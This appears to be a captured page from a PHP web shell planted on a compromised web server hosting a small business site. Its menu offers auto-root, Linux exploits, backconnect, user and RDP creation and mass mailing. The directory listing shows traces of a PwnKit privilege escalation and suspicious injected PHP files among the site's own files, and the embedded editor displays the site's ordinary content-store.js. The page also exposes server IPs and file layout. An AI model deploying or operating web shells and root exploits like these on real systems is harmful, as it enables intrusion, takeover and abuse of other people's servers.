Linux server1.signalhg.team 4.18.0-553.134.1.el8_10.x86_64 #1 SMP Tue Jun 16 16:05:57 EDT 2026 x86_64
Apache
: 209.74.80.147 | : 216.73.216.164
150 Domain
8.1.34
signgwph
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
signgwph /
signalhgai.org /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
.well-known
[ DIR ]
drwxr-xr-x
1imrtle
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
assets
[ DIR ]
drwxr-xr-x
bcdw1rf
[ DIR ]
drwxr-xr-x
hqszvyj
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
ms1nvlx
[ DIR ]
drwxr-xr-x
pjbgwqa
[ DIR ]
drwxr-xr-x
product-images
[ DIR ]
drwxr-xr-x
seudlrb
[ DIR ]
drwxr-xr-x
ssl
[ DIR ]
drwxr-xr-x
wjoxet1
[ DIR ]
drwxr-xr-x
yagdwcx
[ DIR ]
drwxr-xr-x
.env
74
B
-rw-r--r--
.htaccess
199
B
-rw-r--r--
.mad-root
0
B
-rw-r--r--
DEPLOY-NAMECHEAP.md
1.26
KB
-rw-rw-rw-
about.html
30
KB
-rw-rw-rw-
admin-leads.html
6.59
KB
-rw-rw-rw-
admin-leads.js
23.46
KB
-rw-rw-rw-
admin-users.json
590
B
-rw-rw-rw-
admin.html
7.01
KB
-rw-rw-rw-
admin.js
111.38
KB
-rw-rw-rw-
app.js
116.05
KB
-rw-rw-rw-
cms-data.js
83.07
KB
-rw-rw-rw-
cms-data.json
83.05
KB
-rw-rw-rw-
content-store.js
7.37
KB
-rw-rw-rw-
dev-server.js
26.75
KB
-rw-rw-rw-
goat1.php
143.87
KB
-rw-r--r--
index.css
365.46
KB
-rw-rw-rw-
index.html
46.94
KB
-rw-rw-rw-
industries.html
31.63
KB
-rw-rw-rw-
leads-data.json
692
B
-rw-rw-rw-
license-lcan.php
629
B
-rw-r--r--
package-lock.json
244
B
-rw-r--r--
package.json
249
B
-rw-rw-rw-
privacy-policy.html
20.07
KB
-rw-rw-rw-
pwnkit
10.99
KB
-rwxr-xr-x
robots.txt
94
B
-rw-r--r--
service-data.js
19.3
KB
-rw-rw-rw-
service-page.js
74.19
KB
-rw-rw-rw-
service.html
29.76
KB
-rw-rw-rw-
signalhgai-ai-ready-websites-d...
0
B
-rw-rw-rw-
signalhgai-ai-ready-websites-d...
130.34
KB
-rw-rw-rw-
signalhgai-landing-page-design...
0
B
-rw-rw-rw-
signalhgai-landing-page-design...
129.64
KB
-rw-rw-rw-
signalhgai-offer-page-copy-dom...
0
B
-rw-rw-rw-
signalhgai-offer-page-copy-dom...
129.25
KB
-rw-rw-rw-
signalhgai-responsive-page-sys...
0
B
-rw-rw-rw-
signalhgai-responsive-page-sys...
128.85
KB
-rw-rw-rw-
signalhgai-seo-ready-structure...
0
B
-rw-rw-rw-
signalhgai-seo-ready-structure...
129.71
KB
-rw-rw-rw-
signalhgai-service-demo.png
1.33
MB
-rw-rw-rw-
signalhgai-service-dom.err
0
B
-rw-rw-rw-
signalhgai-service-dom.html
127.97
KB
-rw-rw-rw-
signalhgai-service-tall.png
4.71
MB
-rw-rw-rw-
technology-data.js
22.12
KB
-rw-rw-rw-
technology-page.js
11.23
KB
-rw-rw-rw-
technology.html
27.29
KB
-rw-rw-rw-
work-data.js
4.16
KB
-rw-rw-rw-
work-renderer.js
11.88
KB
-rw-rw-rw-
work.html
37.32
KB
-rw-rw-rw-
wxojsgts.php
167.15
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : content-store.js
(function () { const KEYS = { services: "signalhgai.cms.services.v1", technologies: "signalhgai.cms.technologies.v1", work: "signalhgai.cms.work.v1", site: "signalhgai.cms.site.v1", session: "signalhgai.admin.session.v1" }; const FALLBACK_IMAGE = "assets/hero-specialist.png"; function clone(value) { return JSON.parse(JSON.stringify(value || null)); } function readRaw(key) { try { return window.localStorage.getItem(key); } catch (error) { return null; } } function read(keyName) { const key = KEYS[keyName] || keyName; const raw = readRaw(key); if (raw) { try { return JSON.parse(raw); } catch (error) { return null; } } return readBootstrap(keyName); } function readBootstrap(keyName) { const data = window.SignalCMSData; if (!data || typeof data !== "object") return null; const key = Object.keys(KEYS).find((name) => KEYS[name] === keyName) || keyName; const value = data[key]; return value == null ? null : clone(value); } function write(keyName, value) { const key = KEYS[keyName] || keyName; window.localStorage.setItem(key, JSON.stringify(value)); } function remove(keyName) { const key = KEYS[keyName] || keyName; window.localStorage.removeItem(key); } function slugify(value) { return String(value || "") .trim() .toLowerCase() .replace(/&/g, "and") .replace(/[^a-z0-9]+/g, "-") .replace(/^-+|-+$/g, "") .slice(0, 72) || `item-${Date.now()}`; } function listify(value) { if (Array.isArray(value)) { return value.map((item) => String(item).trim()).filter(Boolean); } return String(value || "") .split(/\r?\n|,/) .map((item) => item.trim()) .filter(Boolean); } function textFromList(value) { return listify(value).join("\n"); } function normalizeImage(image) { if (typeof image === "string") { return { src: image.trim() || FALLBACK_IMAGE, position: "center" }; } return { src: String(image?.src || FALLBACK_IMAGE).trim() || FALLBACK_IMAGE, position: String(image?.position || "center").trim() || "center" }; } function normalizeCatalogItem(item, defaults, idField) { const merged = { ...(defaults || {}), ...(item || {}) }; const label = merged.label || merged.title || merged.name || merged.category || "Untitled"; merged[idField] = String(merged[idField] || slugify(label)).trim(); merged.label = String(merged.label || label).trim(); merged.category = String(merged.category || "General").trim(); merged.title = String(merged.title || merged.label).trim(); merged.summary = String(merged.summary || merged.description || "").trim(); merged.description = String(merged.description || merged.summary || "").trim(); merged.image = normalizeImage(merged.image); ["focus", "outcomes", "tools", "signals", "tags"].forEach((field) => { if (field in merged) { merged[field] = listify(merged[field]); } }); if ("insightTitle" in merged) { merged.insightTitle = String(merged.insightTitle || "").trim(); } if (Array.isArray(merged.insightCards)) { const defaultInsightEyebrow = Array.isArray(merged.signals) ? "Stack Direction" : "Direction"; merged.insightCards = [0, 1, 2].map((_, index) => { const card = merged.insightCards[index] || {}; const image = normalizeImage(card?.image); return { eyebrow: String(card?.eyebrow || `${defaultInsightEyebrow} ${index + 1}`).trim(), title: String(card?.title || merged.label || `Direction ${index + 1}`).trim(), text: String(card?.text || card?.summary || merged.summary || "").trim(), image }; }); } if ("featured" in merged) merged.featured = Boolean(merged.featured); if ("showOnHome" in merged) merged.showOnHome = Boolean(merged.showOnHome); return merged; } function loadCatalog(keyName, defaults, idField = "slug") { const saved = read(keyName); const base = Array.isArray(defaults) ? defaults : []; if (!Array.isArray(saved)) { return clone(base); } const defaultMap = base.reduce((map, item) => { map[item[idField]] = item; return map; }, {}); const savedIds = new Set(); const merged = saved .filter(Boolean) .map((item) => { const id = item[idField]; savedIds.add(id); return normalizeCatalogItem(item, defaultMap[id], idField); }); base.forEach((item) => { if (!savedIds.has(item[idField])) { merged.push(normalizeCatalogItem(item, item, idField)); } }); return merged; } function loadManagedCollection(keyName, defaults, idField = "id") { const saved = read(keyName); const source = Array.isArray(saved) ? saved : defaults; return (Array.isArray(source) ? source : []) .filter(Boolean) .map((item) => normalizeCatalogItem(item, item, idField)); } function saveCollection(keyName, items, idField = "slug") { const normalized = (Array.isArray(items) ? items : []) .filter(Boolean) .map((item) => normalizeCatalogItem(item, item, idField)); write(keyName, normalized); return normalized; } function indexBy(items, idField = "slug") { return (items || []).reduce((map, item) => { map[item[idField]] = item; return map; }, {}); } function escapeHtml(value) { return String(value ?? "") .replace(/&/g, "&") .replace(/</g, "<") .replace(/>/g, ">") .replace(/"/g, """) .replace(/'/g, "'"); } function syncCatalogLinks(catalog, paramName) { const items = indexBy(catalog || [], "slug"); document.querySelectorAll(`a[href*="${paramName}="]`).forEach((link) => { try { const url = new URL(link.getAttribute("href"), window.location.href); const slug = url.searchParams.get(paramName); if (slug && items[slug]?.label) { link.textContent = items[slug].label; } } catch (error) { // Ignore malformed static links. } }); } window.SignalCMS = { KEYS, FALLBACK_IMAGE, clone, read, readBootstrap, write, remove, slugify, listify, textFromList, normalizeImage, normalizeCatalogItem, loadCatalog, loadManagedCollection, saveCollection, indexBy, escapeHtml, syncCatalogLinks }; })();
Close